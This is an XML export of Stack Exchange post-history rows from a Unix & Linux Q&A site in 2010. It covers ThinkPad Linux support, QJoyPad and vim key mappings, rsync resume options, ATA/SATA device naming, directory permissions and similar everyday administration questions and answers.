  <row Id="5020" PostHistoryTypeId="2" PostId="2427" RevisionGUID="025bf153-3f61-4b6e-a2e4-290d729bb1e3" CreationDate="2010-09-25T03:32:27.053" UserId="171" Text="There is a lot of [info on  the Thinkpad T400][1], Linux certified [sells a T400 with Linux pre-installed][2], your choice of Ubuntu or Fedora. Gentoo [has a wiki for Thinkpads][3] and [so does Arch Linux.][4]   I think you should have a good experience with the T400. I would do as oposit suggests try a few live CDs, see what works and what you like and have fun :)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://tinyurl.com/2d4nxcb&#xD;&#xA;  [2]: http://www.linuxcertified.com/linux-laptop-lctp.html&#xD;&#xA;  [3]: http://en.gentoo-wiki.com/wiki/Lenovo_ThinkPad_T400&#xD;&#xA;  [4]: http://wiki.archlinux.org/index.php/Lenovo_ThinkPad_T400&#xD;&#xA; " />
  <row Id="5021" PostHistoryTypeId="2" PostId="2428" RevisionGUID="d7d42e1d-7ef7-48e6-b5f2-b0e28158763a" CreationDate="2010-09-25T07:24:37.620" UserId="665" Text="&#xD;&#xA;I wanted to map my PSone gamepad to do some basic KDE/keyboard/mouse functions and everything works well except one thing. I use logitech ultra-x keyboard which has a few multimedia buttons (play, home, volumeup, volumedown..) and I wanted to map volumeup and volumedown keys to my pad with everything else.&#xD;&#xA;&#xD;&#xA;volumedown works well, but volumeup makes some trouble. after I start qjoypad and map it - it does work but after mapping it I still see the &quot;[NO KEY]&quot; (while it is doing its job - volumeup; that's strange).. after I turn qjoypad off and on I get this error: &quot;Error reading button 6&quot; and after that &quot;Error reading definition for joystick 0&quot;&#xD;&#xA;&#xD;&#xA;this is my layout:&#xD;&#xA;&#xD;&#xA;    QJoyPad 4.1 Layout File&#xD;&#xA;&#xD;&#xA;    Joystick 1 {&#xD;&#xA;        Axis 4: gradient, dZone 6505, maxSpeed 11, tCurve 2, sens 2, mouse+h&#xD;&#xA;        Axis 5: gradient, dZone 6264, maxSpeed 11, tCurve 2, mouse+v&#xD;&#xA;        Button 1: key 114&#xD;&#xA;        Button 2: mouse 3&#xD;&#xA;        Button 3: mouse 1&#xD;&#xA;        Button 4: key 113&#xD;&#xA;        Button 5: key 122&#xD;&#xA;        Button 6: key 123&#xD;&#xA;        Button 7: key 62&#xD;&#xA;        Button 8: key 105&#xD;&#xA;        Button 9: key 23&#xD;&#xA;        Button 10: key 65&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;with xev I got it what 122 and 123 are (they work normaly under KDE when I press them, it's just that 123 wont map and stay mapped for my pad)&#xD;&#xA;&#xD;&#xA;    keycode 122 = XF86AudioLowerVolume&#xD;&#xA;    keycode 123 = XF86AudioRaiseVolume&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;any hint on what I should do to fix this and make my configuration stay?&#xD;&#xA;if it means anything, or helps anyhow - system is arch with 2.6.35 kernel, kde 4.5.1&#xD;&#xA;if you need any additional info I can provide it&#xD;&#xA;&#xD;&#xA;thank you very much =)&#xD;&#xA;&#xD;&#xA;moderators - please add joypad nad keymap tags" />
  <row Id="5022" PostHistoryTypeId="1" PostId="2428" RevisionGUID="d7d42e1d-7ef7-48e6-b5f2-b0e28158763a" CreationDate="2010-09-25T07:24:37.620" UserId="665" Text="Can't map XF86AudioRaiseVolume key in QJoyPad" />
  <row Id="5023" PostHistoryTypeId="3" PostId="2428" RevisionGUID="d7d42e1d-7ef7-48e6-b5f2-b0e28158763a" CreationDate="2010-09-25T07:24:37.620" UserId="665" Text="ékdeàékeyboardà" />
  <row Id="5024" PostHistoryTypeId="2" PostId="2429" RevisionGUID="48239838-e8f4-43e0-9974-d760ea9f5686" CreationDate="2010-09-25T08:05:52.060" UserId="629" Text="Thinkpads are very popular with Linux users, so there's a lot of documentation out there.&#xD;&#xA;The standard resource for Thinkpad users is [ThinkWiki][1].&#xD;&#xA;&#xD;&#xA;It's quite likely that a standard distro install will be sufficient. The Linux kernel probably includes all the drivers you need. Possible exceptions are the graphics drivers (look at the Nvidia or ATI websites for those) and in rare cases the wifi drivers.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.thinkwiki.org/wiki/Category:T400" />
  <row Id="5025" PostHistoryTypeId="2" PostId="2430" RevisionGUID="33cfac59-a209-42f7-b8ac-91dd7b3fb3d1" CreationDate="2010-09-25T10:03:28.213" UserId="1993" Text="All you need is the tool **mingetty**. Concrete example and comparison in the [mythTV Wiki][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mythtv.org/wiki/Frontend_Auto_Login" />
  <row Id="5026" PostHistoryTypeId="2" PostId="2431" RevisionGUID="58fd243d-2c35-40b4-8a49-4b027c67f8f8" CreationDate="2010-09-25T12:01:09.947" UserId="1941" Text="Be aware that recent thinkpads have a hidden partition (predesktop area) including all sorts of tools for system recovery and the like which can be accessed by hitting the blue Thinkvantage button during boot up. Installing Grub into MBR breaks this. With recent thinkpads you can install grub into the first sectors of the partition holding /boot and set this active, then you normally enter grub when booting but thinkvantage this works. I'm not 100% sure this already works with T400 but I think it does. See [this thinkwiki page][1] for more information.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.thinkwiki.org/wiki/Rescue_and_Recovery" />
  <row Id="5027" PostHistoryTypeId="2" PostId="2432" RevisionGUID="e2608936-31b4-412f-9ff1-705fedc3870e" CreationDate="2010-09-25T13:23:46.040" UserId="1995" Text="When I open up my terminal it says &quot;you have mail&quot;, anyone has any idea of why? I am running OS X, but since it too is based on Unix and relies on files such as bashrc, bash_profile etc. I thought somebody here might know, and I'm not sure it's a platform specific problem!" />
  <row Id="5028" PostHistoryTypeId="1" PostId="2432" RevisionGUID="e2608936-31b4-412f-9ff1-705fedc3870e" CreationDate="2010-09-25T13:23:46.040" UserId="1995" Text="How to remove &quot;You have mail&quot; welcome message" />
  <row Id="5029" PostHistoryTypeId="3" PostId="2432" RevisionGUID="e2608936-31b4-412f-9ff1-705fedc3870e" CreationDate="2010-09-25T13:23:46.040" UserId="1995" Text="éterminalà" />
  <row Id="5030" PostHistoryTypeId="2" PostId="2433" RevisionGUID="fe2d2d95-5f86-4cf7-b35b-e883e583505a" CreationDate="2010-09-25T13:56:20.443" UserId="1982" Text="It sounds like something has sent mail on (and to) the machine using the local mail exchanger. Most likely the email is an automated message from some installed package. Once you log in, type `mail` on the terminal to read and (presumably) delete the relevant mail. (Inside `mail`, use `?` to find out what the commands are.) Once you've read or deleted any unread mail, you won't see the &quot;You have mail&quot; message again until/unless something else sends mail in the same way. Odds are once you know what's sending you the mail, you can find a configuration option to change where it sends it to." />
  <row Id="5031" PostHistoryTypeId="2" PostId="2434" RevisionGUID="3cc965bc-8417-4ca2-929c-5ef13ddd015d" CreationDate="2010-09-25T18:04:51.660" UserId="131" Text="I've been a Linux user for a while, and I've a pretty decent understanding of most the common command line utilities. However, ones that come up and up again in relation to programming are `grep`, `awk`, and `sed`.&#xD;&#xA;&#xD;&#xA;About the only thing I've used grep for is piping stuff into it to find files in log files, the output of `ps` etc. I haven't used `awk` or `sed` at all. Are there any good tutorials for these utilities?" />
  <row Id="5032" PostHistoryTypeId="1" PostId="2434" RevisionGUID="3cc965bc-8417-4ca2-929c-5ef13ddd015d" CreationDate="2010-09-25T18:04:51.660" UserId="131" Text="Is there a basic tutorial for grep, awk and sed?" />
  <row Id="5033" PostHistoryTypeId="3" PostId="2434" RevisionGUID="3cc965bc-8417-4ca2-929c-5ef13ddd015d" CreationDate="2010-09-25T18:04:51.660" UserId="131" Text="égrepàésedàéawkàéutilitiesà" />
  <row Id="5034" PostHistoryTypeId="2" PostId="2435" RevisionGUID="0fb2d81c-9f1c-4690-8074-f957579f38ba" CreationDate="2010-09-25T18:15:50.293" UserId="1941" Text="In my opinion, awk is more or less obsolete (however, others will strongly argue this opinion), most people I know nowadays instead use some script language like perl or today often python for advanced text manipulation. sed is great for simpler text manipulation tasks, I use it all the time. I learned it mainly by looking at sed one-liners like those at http://sed.sourceforge.net/sed1line.txt. Regarding grep: Well you basically want to get a solid understanding of regular expressions (also needed for sed). I here just used the texinfo manuals." />
  <row Id="5035" PostHistoryTypeId="2" PostId="2436" RevisionGUID="64d746c7-622f-42fc-8a4d-0000ff019c28" CreationDate="2010-09-25T19:06:03.050" UserId="382" Text="AWK is particularly well suited for tabular data and has a lower learning curve than some alternatives.&#xD;&#xA;&#xD;&#xA;[AWK: A Tutorial and Introduction][1]&#xD;&#xA;&#xD;&#xA;[An AWK Primer][2]&#xD;&#xA;&#xD;&#xA;[RegularExpressions.info][3]&#xD;&#xA;&#xD;&#xA;[sed tutorial][4] (with links to more)&#xD;&#xA;&#xD;&#xA;[grep tutorial][5]&#xD;&#xA;&#xD;&#xA;`info sed`, `info grep` and `info awk` or `info gawk`&#xD;&#xA;&#xD;&#xA;  [1]: http://www.grymoire.com/Unix/Awk.html&#xD;&#xA;  [2]: http://www.vectorsite.net/tsawk.html&#xD;&#xA;  [3]: http://www.regular-expressions.info/&#xD;&#xA;  [4]: http://www.cs.utk.edu/~vose/c-stuff/sed_tutorial.html&#xD;&#xA;  [5]: http://www.panix.com/~elflord/unix/grep.html" />
  <row Id="5036" PostHistoryTypeId="2" PostId="2437" RevisionGUID="a2fd056e-9027-4a33-aaae-29f81543483c" CreationDate="2010-09-25T20:17:24.147" UserId="591" Text="The O'Reilly [**sed and awk**][1] book is great for er sed and awk. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://docstore.mik.ua/orelly/unix/sedawk/" />
  <row Id="5037" PostHistoryTypeId="2" PostId="2438" RevisionGUID="ee0c02b3-4638-4f0e-a4d9-f98e37f3cdf2" CreationDate="2010-09-25T21:14:50.780" UserId="2000" Text="I don't know a solution, but I know a workaround. Use xmodmap to map 123 to volumeup. Here is the man page: http://www.xfree86.org/4.2.0/xmodmap.1.html&#xD;&#xA;&#xD;&#xA;I used xmodmap in the past to map the different, unmapped media buttons on my M$ keyboard." />
  <row Id="5038" PostHistoryTypeId="2" PostId="2439" RevisionGUID="37d41905-5b1f-49a3-a4db-f9fb1d32767f" CreationDate="2010-09-25T21:28:33.400" UserId="2000" Text="Well, for me &quot;minus&quot; is more natural, probably because I am not a native english speaker. My native language in Hungarian, and minus = minusz, but hyphen = valasztojel, obviously &quot;minus&quot; is easier and shorter. However I leave in Romania, and minus = minus, but hyphen and dash does not even have a one-word translations, so they would be very tedious to use." />
  <row Id="5040" PostHistoryTypeId="2" PostId="2440" RevisionGUID="162a9e75-8d51-4feb-a659-d884cb66c7da" CreationDate="2010-09-26T02:48:28.663" UserId="2003" Text="What is the command with which you can directly view the permission bits of a directory?" />
  <row Id="5041" PostHistoryTypeId="1" PostId="2440" RevisionGUID="162a9e75-8d51-4feb-a659-d884cb66c7da" CreationDate="2010-09-26T02:48:28.663" UserId="2003" Text="how to view a directory's permission" />
  <row Id="5042" PostHistoryTypeId="3" PostId="2440" RevisionGUID="162a9e75-8d51-4feb-a659-d884cb66c7da" CreationDate="2010-09-26T02:48:28.663" UserId="2003" Text="éshellàépermissionsàédirectoryà" />
  <row Id="5043" PostHistoryTypeId="2" PostId="2441" RevisionGUID="6b669cf3-df07-4913-95a0-f5adff7bfdf6" CreationDate="2010-09-26T02:54:58.323" UserId="73" Text="There's a couple ways. `stat` is used to show information about files and directories, so it's probably the best way. It takes a format parameter to control what it outputs; `%a` will show the octal values for the permissions, while `%A` will show the human-readable form:&#xD;&#xA;&#xD;&#xA;    $ stat -c %a /&#xD;&#xA;    755&#xD;&#xA;    $ stat -c %A /&#xD;&#xA;    drwxr-xr-x&#xD;&#xA;    $ stat -c %a /tmp&#xD;&#xA;    1777&#xD;&#xA;    $ stat -c %A /tmp&#xD;&#xA;    drwxrwxrwt&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Another (probably more common) way is to use `ls`. `-l` will make it use the long listing format (whose first entry is the human-readable form of the permissions), and `-d` will make it show the entry for the specified directory instead of its contents:&#xD;&#xA;&#xD;&#xA;    $ ls -ld /&#xD;&#xA;    drwxr-xr-x 22 root root 4.0K Apr 28 20:32 /&#xD;&#xA;    $ ls -ld /tmp&#xD;&#xA;    drwxrwxrwt 7 root root 12K Sep 25 22:31 /tmp&#xD;&#xA;" />
  <row Id="5044" PostHistoryTypeId="2" PostId="2442" RevisionGUID="24e599c6-159e-424a-a693-f8918e65864a" CreationDate="2010-09-26T08:26:19.690" UserId="1131" Text="What is currently the best way to rip scratched audio cds under Linux?&#xD;&#xA;&#xD;&#xA;What I find complicated, is that there are several tools available but it is not clear if one tool has better error correction features than the other.&#xD;&#xA;&#xD;&#xA;I mean, there are at least:&#xD;&#xA;&#xD;&#xA;* cdparanoia&#xD;&#xA;* cdda2waw&#xD;&#xA;* cdrdao" />
  <row Id="5045" PostHistoryTypeId="1" PostId="2442" RevisionGUID="24e599c6-159e-424a-a693-f8918e65864a" CreationDate="2010-09-26T08:26:19.690" UserId="1131" Text="How to rip scratched audio cds?" />
  <row Id="5046" PostHistoryTypeId="3" PostId="2442" RevisionGUID="24e599c6-159e-424a-a693-f8918e65864a" CreationDate="2010-09-26T08:26:19.690" UserId="1131" Text="éaudioàécdàéripà" />
  <row Id="5047" PostHistoryTypeId="2" PostId="2443" RevisionGUID="334d87dc-a496-4a51-9be9-878a2a0f48c9" CreationDate="2010-09-26T09:26:19.373" UserId="1941" Text="I use the windows freeware exactaudiocopy under wine, which has its emphasis exactly on error correction. This works very nicely (see [its entry on winehq][1]). If you want to stay natively you might want to have a look at [rubyripper][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://appdb.winehq.org/objectManager.php?sClass=application&amp;iId=1190&#xD;&#xA;  [2]: http://code.google.com/p/rubyripper/" />
  <row Id="5048" PostHistoryTypeId="2" PostId="2444" RevisionGUID="189522a6-cb0c-455a-b02d-9709c0abfef2" CreationDate="2010-09-26T10:23:29.263" UserId="2008" Text="cdparanoia is designed specifically to handle damaged media, with a wide variety of strategies ranging from re-reading sectors to interpolating lost data using FFT." />
  <row Id="5049" PostHistoryTypeId="2" PostId="2445" RevisionGUID="a4358d06-69f0-419b-a6cd-8c9ccba440f3" CreationDate="2010-09-26T14:38:12.710" UserId="674" Text="&#xD;&#xA;In Ubuntu, I want to copy a big file from my harddrive to a removable drive by rsync. For some other reason, the operation cannot complete in a single run. So I am trying to figure out how to use rsync to resume file copying from where was left last time.&#xD;&#xA;&#xD;&#xA;I have tried use the option --partial or --inplace, but together with --progress, I found rsync with --partial or --inplace actually starts from the beginning instead of from what was left last time. Mannually early stopping rsync and checking the size of the received file also confirm what I found.&#xD;&#xA;&#xD;&#xA;But with --append, rsync starts from what was left last time.&#xD;&#xA;&#xD;&#xA;I am confused as I saw on the manpage --partial, --inplace or --append seem to relate to resuming copying from what was left last time. Is someone able to explain their difference? Why --partial or --inplace do not work for resuming copying? Is it true that for resuming copying, rsync has to work with option --append?&#xD;&#xA;&#xD;&#xA;Also if a partial file was left by mv or cp not by rsync, will rsync --append correctly resume the file copying?&#xD;&#xA;&#xD;&#xA;Thanks and regards!&#xD;&#xA;" />
  <row Id="5050" PostHistoryTypeId="1" PostId="2445" RevisionGUID="a4358d06-69f0-419b-a6cd-8c9ccba440f3" CreationDate="2010-09-26T14:38:12.710" UserId="674" Text=" resume transferof a single file by rsync" />
  <row Id="5051" PostHistoryTypeId="3" PostId="2445" RevisionGUID="a4358d06-69f0-419b-a6cd-8c9ccba440f3" CreationDate="2010-09-26T14:38:12.710" UserId="674" Text="élinuxà" />
  <row Id="5052" PostHistoryTypeId="5" PostId="2445" RevisionGUID="96b0af26-28bb-4505-a8ea-414dbffbff32" CreationDate="2010-09-26T15:13:41.483" UserId="1207" Comment="deleted 2 characters in body; edited tags; edited title" Text="In Ubuntu, I want to copy a big file from my harddrive to a removable drive by rsync. For some other reason, the operation cannot complete in a single run. So I am trying to figure out how to use rsync to resume file copying from where was left last time.&#xD;&#xA;&#xD;&#xA;I have tried use the option --partial or --inplace, but together with --progress, I found rsync with --partial or --inplace actually starts from the beginning instead of from what was left last time. Mannually early stopping rsync and checking the size of the received file also confirm what I found.&#xD;&#xA;&#xD;&#xA;But with --append, rsync starts from what was left last time.&#xD;&#xA;&#xD;&#xA;I am confused as I saw on the manpage --partial, --inplace or --append seem to relate to resuming copying from what was left last time. Is someone able to explain their difference? Why --partial or --inplace do not work for resuming copying? Is it true that for resuming copying, rsync has to work with option --append?&#xD;&#xA;&#xD;&#xA;Also if a partial file was left by mv or cp not by rsync, will rsync --append correctly resume the file copying?&#xD;&#xA;&#xD;&#xA;Thanks and regards!&#xD;&#xA;" />
  <row Id="5053" PostHistoryTypeId="4" PostId="2445" RevisionGUID="96b0af26-28bb-4505-a8ea-414dbffbff32" CreationDate="2010-09-26T15:13:41.483" UserId="1207" Comment="deleted 2 characters in body; edited tags; edited title" Text="resume transfer of a single file by rsync" />
  <row Id="5054" PostHistoryTypeId="6" PostId="2445" RevisionGUID="96b0af26-28bb-4505-a8ea-414dbffbff32" CreationDate="2010-09-26T15:13:41.483" UserId="1207" Comment="deleted 2 characters in body; edited tags; edited title" Text="élinuxàérsyncà" />
  <row Id="5055" PostHistoryTypeId="2" PostId="2446" RevisionGUID="8073b5f4-0c30-4992-a8f2-1d002312cc72" CreationDate="2010-09-26T15:51:59.577" UserId="274" Text="To resume an interrupted copy, you should use `rsyn --append`.  From the&#xD;&#xA;man page's explanation of `--append`:&#xD;&#xA;&#xD;&#xA;&gt; This  causes  rsync to update a file by appending data onto the end of the file, which&#xD;&#xA;&gt; _presumes that the data that already exists on the receiving side is identical with the&#xD;&#xA;&gt; start of the file on the sending side._  [...] Implies `--inplace`, [...]&#xD;&#xA;&#xD;&#xA;Option `--inplace` makes `rsync` (over)write the destination file&#xD;&#xA;contents directly; _without_ `--inplace`, `rsync` would:&#xD;&#xA;&#xD;&#xA;1. create a new file with a temporary name, &#xD;&#xA;2. copy updated content into it, &#xD;&#xA;3. swap it with the destination file, and finally &#xD;&#xA;4. delete the old copy of the destination file.  &#xD;&#xA;&#xD;&#xA;The normal mode of operation mainly prevents conflicts with&#xD;&#xA;applications that might have the destination file open, and a few&#xD;&#xA;other mishaps which are duly listed in the `rsync` manpage.&#xD;&#xA;&#xD;&#xA;Note that, if a copy/update operation fails in steps 1.-3. above,&#xD;&#xA;`rsync` will delete the temporary destination file; the `--partial`&#xD;&#xA;option disabled this behavior and `rsync` will leave&#xD;&#xA;partially-transferred temporary files on the destination filesystem.&#xD;&#xA;Thus, resuming an a single file copy operation will not gain much&#xD;&#xA;unless you called the first `rsync` with `--partial` or&#xD;&#xA;`--partial-dir` (same effect as `--partial`, in addition instructs `rsync`&#xD;&#xA;to create all temporary files in a specific directory).&#xD;&#xA;" />
  <row Id="5056" PostHistoryTypeId="2" PostId="2447" RevisionGUID="7886ef04-783f-4a3b-bac4-ac155bf549dd" CreationDate="2010-09-26T17:29:22.447" UserId="1924" Text="Assume that we have to disc.&#xD;&#xA;&#xD;&#xA;One master SATA nad one master ATA.&#xD;&#xA;&#xD;&#xA;How should they be called in linux? (dev/*?)&#xD;&#xA;&#xD;&#xA;" />
  <row Id="5057" PostHistoryTypeId="1" PostId="2447" RevisionGUID="7886ef04-783f-4a3b-bac4-ac155bf549dd" CreationDate="2010-09-26T17:29:22.447" UserId="1924" Text="Names for ATA and SATA primary in linux" />
  <row Id="5058" PostHistoryTypeId="3" PostId="2447" RevisionGUID="7886ef04-783f-4a3b-bac4-ac155bf549dd" CreationDate="2010-09-26T17:29:22.447" UserId="1924" Text="élinuxàéubuntuà" />
  <row Id="5059" PostHistoryTypeId="2" PostId="2448" RevisionGUID="c499d7e4-290e-4a94-816e-06f3daa4a4b0" CreationDate="2010-09-26T17:41:25.887" UserId="1974" Text="If I'm understanding your question correctly, the first parallel ATA hard drive under Linux will be `/dev/hda`, the second will be `/dev/hdb`, followed by `/dev/hdc`, etc.&#xD;&#xA;&#xD;&#xA;*Serial* ATA devides will show up the same way SCSI and USB devices do: `/dev/sda` will be the first one, followed by `/dev/sdb`, `/dev/sdc/`, etc." />
  <row Id="5060" PostHistoryTypeId="5" PostId="2447" RevisionGUID="4e679ff8-a580-41ef-bcc4-46cd4541dbc9" CreationDate="2010-09-26T17:53:27.277" UserId="73" Comment="deleted 20 characters in body; edited title" Text="Assume that we have two disks, one master SATA and one master ATA. How will they show up in /dev?&#xD;&#xA;" />
  <row Id="5061" PostHistoryTypeId="4" PostId="2447" RevisionGUID="4e679ff8-a580-41ef-bcc4-46cd4541dbc9" CreationDate="2010-09-26T17:53:27.277" UserId="73" Comment="deleted 20 characters in body; edited title" Text="Names for ATA and SATA disks in Linux" />
  <row Id="5062" PostHistoryTypeId="2" PostId="2449" RevisionGUID="1bd50b4b-228a-46fd-8c2a-517d7b062520" CreationDate="2010-09-26T19:11:24.147" UserId="1383" Text="If you want to install Linux on very specific hardware, say more exotic than a [DS][1], you will have to cross-compile your own kernel.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/DSLinux" />
  <row Id="5063" PostHistoryTypeId="5" PostId="2446" RevisionGUID="d14b5009-ae38-4479-a847-a7e07b6bba2c" CreationDate="2010-09-26T19:59:46.233" UserId="274" Comment="fix typos" Text="To resume an interrupted copy, you should use `rsync --append`.  From the&#xD;&#xA;man page's explanation of `--append`:&#xD;&#xA;&#xD;&#xA;&gt; This  causes  rsync to update a file by appending data onto the end of the file, which&#xD;&#xA;&gt; _presumes that the data that already exists on the receiving side is identical with the&#xD;&#xA;&gt; start of the file on the sending side._  [...] Implies `--inplace`, [...]&#xD;&#xA;&#xD;&#xA;Option `--inplace` makes `rsync` (over)write the destination file&#xD;&#xA;contents directly; _without_ `--inplace`, `rsync` would:&#xD;&#xA;&#xD;&#xA;1. create a new file with a temporary name,&#xD;&#xA;2. copy updated content into it, &#xD;&#xA;3. swap it with the destination file, and finally &#xD;&#xA;4. delete the old copy of the destination file.  &#xD;&#xA;&#xD;&#xA;The normal mode of operation mainly prevents conflicts with&#xD;&#xA;applications that might have the destination file open, and a few&#xD;&#xA;other mishaps which are duly listed in the `rsync` manpage.&#xD;&#xA;&#xD;&#xA;Note that, if a copy/update operation fails in steps 1.-3. above,&#xD;&#xA;`rsync` will delete the temporary destination file; the `--partial`&#xD;&#xA;option disables this behavior and `rsync` will leave&#xD;&#xA;partially-transferred temporary files on the destination filesystem.&#xD;&#xA;Thus, resuming an a single file copy operation will not gain much&#xD;&#xA;unless you called the first `rsync` with `--partial` or&#xD;&#xA;`--partial-dir` (same effect as `--partial`, in addition instructs `rsync`&#xD;&#xA;to create all temporary files in a specific directory).&#xD;&#xA;" />
  <row Id="5064" PostHistoryTypeId="2" PostId="2450" RevisionGUID="b1b3c667-82c9-47cb-bcbd-b4b7c16754a7" CreationDate="2010-09-26T20:14:48.493" UserId="885" Text="Depending on your SATA driver and your distribution's configuration, they might show up as `/dev/hda` and `/dev/hdb`, or `/dev/hda` and `/dev/sda`, or `/dev/sda` and `/dev/sdb`. Distributions and drivers are moving towards having everything hard disk called `sd?`, but PATA drivers traditionally used `hd?` and a few SATA drivers also did.&#xD;&#xA;&#xD;&#xA;The device names are determined by the `udev` configuration. For example, on Ubuntu 10.04, the following lines from `/lib/udev/rules.d/60-persistent-storage.rules` make all ATA hard disks appear as `/dev/sd*` and all ATA CD drives appear as `/dev/sr*`:&#xD;&#xA;&#xD;&#xA;    # ATA devices with their own &quot;ata&quot; kernel subsystem&#xD;&#xA;    KERNEL==&quot;sd*[!0-9]|sr*&quot;, ENV{ID_SERIAL}!=&quot;?*&quot;, SUBSYSTEMS==&quot;ata&quot;, IMPORT{program}=&quot;ata_id --export $tempnode&quot;&#xD;&#xA;    # ATA devices using the &quot;scsi&quot; subsystem&#xD;&#xA;    KERNEL==&quot;sd*[!0-9]|sr*&quot;, ENV{ID_SERIAL}!=&quot;?*&quot;, SUBSYSTEMS==&quot;scsi&quot;, ATTRS{vendor}==&quot;ATA&quot;, IMPORT{program}=&quot;ata_id --export $tempnode&quot;&#xD;&#xA;" />
  <row Id="5066" PostHistoryTypeId="2" PostId="2452" RevisionGUID="66b98c52-5ddc-4ba9-ba7c-3b0154e2d31a" CreationDate="2010-09-26T23:11:15.687" UserId="160" Text="In my `.vimrc` file, I have the following two lines:&#xD;&#xA;&#xD;&#xA;    noremap! &lt;C-PageDown&gt; :bnext &lt;CR&gt;&#xD;&#xA;    noremap! &lt;C-PageUp&gt;   :bprev &lt;CR&gt;&#xD;&#xA;&#xD;&#xA;but they do not work!  In insert mode, typing&#xD;&#xA;&#xD;&#xA;    &lt;C-v&gt;&lt;C-PageDown&gt;&#xD;&#xA;&#xD;&#xA;returns&#xD;&#xA;&#xD;&#xA;    &lt;C-PageDown&gt;&#xD;&#xA;&#xD;&#xA;(literally) and similarly so for `&lt;C-PageUp&gt;` and if I try to execute the command I get&#xD;&#xA;&#xD;&#xA;    :bnext&#xD;&#xA;&#xD;&#xA;(plus a newline).  In normal mode there's no effect.  Thus, I know that the key map isn't being gobbled up by `X` or my shell but what else could be the problem?  Other key maps work fine.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="5067" PostHistoryTypeId="1" PostId="2452" RevisionGUID="66b98c52-5ddc-4ba9-ba7c-3b0154e2d31a" CreationDate="2010-09-26T23:11:15.687" UserId="160" Text="Why does my mapping of &lt;C-PageX&gt; to :bY not work in gvim?" />
  <row Id="5068" PostHistoryTypeId="3" PostId="2452" RevisionGUID="66b98c52-5ddc-4ba9-ba7c-3b0154e2d31a" CreationDate="2010-09-26T23:11:15.687" UserId="160" Text="évimà" />
  <row Id="5069" PostHistoryTypeId="2" PostId="2453" RevisionGUID="8c91ff84-a492-4d44-b974-1bee0fdb3a54" CreationDate="2010-09-27T03:09:54.057" UserId="4" Text="A certificate might sound nice, but it's probably not worth your time.&#xD;&#xA;&#xD;&#xA;Few employers will take a Shell Script certificate seriously. It would look bad on your CV, and would not help you land a position. Understand that some job candidates try to pad their resume with certifications, but that makes them look dishonest and inexperienced. Certifications are not a valid substitute for experience.&#xD;&#xA;&#xD;&#xA;A Google search for &quot;[shell script certification][1]&quot; shows a few results, but none of the certificates look reputable.  &#xD;&#xA;&#xD;&#xA;Shell scripting is probably most commonly used by System Administration. There are a number of sysadmin certifications, and acquiring one of those might be better for you.&#xD;&#xA;&#xD;&#xA;In my 13 years of experience, I've seen hundreds of resumes and interviewed dozens of people. I don't think anyone has mentioned &quot;shell script certificate&quot; on their resume (It would certainly stick out). While many people mentioned &quot;shell scripting&quot; on their CV/resume, more then half couldn't solve some basic shell scripting questions. If you are applying for a position which requires shell scripting, they'll ask you during the interview process. Make sure you can answer the questions well.&#xD;&#xA;&#xD;&#xA;But granted, I'm in the San Francisco, USA area, and Unix is well used here. Things may be different in Brazil.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/search?q=shell+script+certificate" />
  <row Id="5070" PostHistoryTypeId="2" PostId="2454" RevisionGUID="9903c894-af88-4be0-ab89-ef408e2a2d90" CreationDate="2010-09-27T06:45:22.983" UserId="1941" Text="Could it be, because this keys are already used by vim for switching tab pages? [See the description in vims documentation][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://vimdoc.sourceforge.net/htmldoc/tabpage.html#%3CC-PageDown%3E" />
  <row Id="5071" PostHistoryTypeId="5" PostId="2007" RevisionGUID="5a85678a-5784-465b-88ec-969f0d6cb3c5" CreationDate="2010-09-27T07:05:31.633" UserId="1608" Comment="added 258 characters in body" Text="Hello all,&#xD;&#xA;&#xD;&#xA;I want to fetch user's login time and login date, is there any command in Unix providing User's login date and User's login time ? this problem i want to perform in Shell-script where username is accepting from the end-user and after checking the availability of user, i would like to fetch that user's login time and login date in different variable and then display using 'echo' command." />
  <row Id="5072" PostHistoryTypeId="2" PostId="2455" RevisionGUID="fae2893a-6aae-4942-a1f0-b5af69ce6a17" CreationDate="2010-09-27T08:12:29.333" UserId="1903" Text="    How to connect windows printer with linux (RHEL5) box via samba ?&#xD;&#xA;&#xD;&#xA;- please give clear configuration" />
  <row Id="5073" PostHistoryTypeId="1" PostId="2455" RevisionGUID="fae2893a-6aae-4942-a1f0-b5af69ce6a17" CreationDate="2010-09-27T08:12:29.333" UserId="1903" Text="Connect windows printer with linux machine via samba" />
  <row Id="5074" PostHistoryTypeId="3" PostId="2455" RevisionGUID="fae2893a-6aae-4942-a1f0-b5af69ce6a17" CreationDate="2010-09-27T08:12:29.333" UserId="1903" Text="élinuxàésambaàéwindowsàéprintingà" />
  <row Id="5075" PostHistoryTypeId="5" PostId="2455" RevisionGUID="375553f1-be9d-40e5-931c-0bc1ec5d4c42" CreationDate="2010-09-27T08:50:34.097" UserId="73" Comment="added 9 characters in body; edited title" Text="How can I connect my Windows printer to a Linux (RHEL5) box via samba? I'm looking for a clear configuration file&#xD;&#xA;" />
  <row Id="5076" PostHistoryTypeId="4" PostId="2455" RevisionGUID="375553f1-be9d-40e5-931c-0bc1ec5d4c42" CreationDate="2010-09-27T08:50:34.097" UserId="73" Comment="added 9 characters in body; edited title" Text="Connect Windows printer to Linux machine via samba" />
  <row Id="5077" PostHistoryTypeId="2" PostId="2456" RevisionGUID="05e8ae93-f13f-4a7f-9dfa-a6ed4f5dbe97" CreationDate="2010-09-27T08:58:36.327" UserDisplayName="diediedie" Text="The n in :noremap is for normal mode, so it won't work in insert mode. If you want it to work in insert mode, use :imap. If you were trying to use &amp;lt;C-V&amp;gt; to make it work in insert mode, I think you were looking for &amp;lt;C-O&amp;gt;." />
